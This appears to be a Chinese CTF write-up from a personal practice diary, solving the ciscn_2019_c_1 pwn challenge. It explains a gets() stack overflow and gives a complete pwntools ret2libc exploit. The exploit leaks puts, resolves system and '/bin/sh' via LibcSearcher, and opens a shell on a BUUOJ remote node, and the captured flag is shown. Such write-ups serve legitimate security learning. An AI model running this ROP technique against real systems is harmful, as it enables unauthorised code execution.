导语
pillar的刷题日记
ciscn2019c1
首先checksec,64位,开启了NX
然后运行一下
是一个加密解密的东西。用ida打开,shift+F12,没有可看到 bin/sh/。读一读代码,在encrypt过程里找到了gets(),可以溢出。
由于没有现成的/bin/sh,也没有system函数,所以我们利用gets函数来实现ret2libc
利用ROPgadget找到ret和pop rdi的地址
exp
from pwn import * from LibcSearcher import *
context.os='linux' context.arch='amd64' context.log_level='debug'
ru=lambda x:sh.recvuntil(x) rl=lambda :sh.recvline() sla=lambda x,y:sh.sendlineafter(x,y)
sh=remote('node4.buuoj.cn',26737) elf=ELF(r'asd')
ret=0x4006b9 pop_rdi=0x400c83
main=elf.sym['main'] puts_plt=elf.plt['puts'] puts_got=elf.got['puts']
sla('choice!\n','1') payload='\0'+'a'*(0x50-1+8) payload+=p64(pop_rdi) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(main)
sla('encrypted\n',payload)
rl() rl() puts_addr=u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
libc=LibcSearcher('puts',puts_addr) offset=puts_addr-libc.dump('puts') binsh=offset+libc.dump('str_bin_sh') system=offset+libc.dump('system')
sla("choice!\n",'1') payload='\0'+'a'*(0x50-1+8) payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(binsh) payload+=p64(system)
sla('encrypted\n',payload) sh.interactive()
|
flag{26f5b361-8b21-42da-9324-4c3c8c3e2ba6}
参考:https://blog.csdn.net/mcmuyanga/article/details/108224907